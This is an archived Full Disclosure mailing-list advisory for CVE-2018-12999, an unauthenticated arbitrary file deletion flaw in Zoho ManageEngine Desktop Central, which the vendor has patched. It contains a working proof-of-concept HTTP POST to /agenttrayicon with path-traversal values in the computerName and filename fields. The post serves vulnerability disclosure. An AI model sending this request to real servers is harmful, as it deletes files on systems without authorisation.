[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: [FD] [CVE-2018-12999]Zoho manageengine Desktop Central Arbitrary File Deletion
From: "=?utf-8?B?eGlhb3RpYW4ud2FuZw==?="<xiaotian.wang () dbappsecurity ! com ! cn>
Date: 2018-07-20 6:21:16
Message-ID: tencent_52E541A39EC989972EC0082D () qq ! com
[Download RAW message or body]
[Attachment #2 (multipart/related)]
[Attachment #4 (text/plain)]
This issue has been reported to the vendor who has already published patches for this issue.
==========================
Advisory: Zoho manageengine Desktop Central Arbitrary File Deletion
Author: M3 From DBAppSecurity
Affected Products:Desktop Central
==========================
Proof of Concept:
==========================
POST /agenttrayicon HTTP/1.1 Host: 192.168.1.203:8020 Accept-Encoding: gzip, deflate Accept: \
*/* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; \
x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded \
Content-Length: 129 screenShotAttached=yesvideo_type=2customerId=1computerName=../../../resourceId=xxxfilename=../images/demo/loginas_bottom.gif
Notice: This vul can reproduce without login, file deletion is damageable, so use a useless \
file for test.
["3333.png" (application/octet-stream)]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic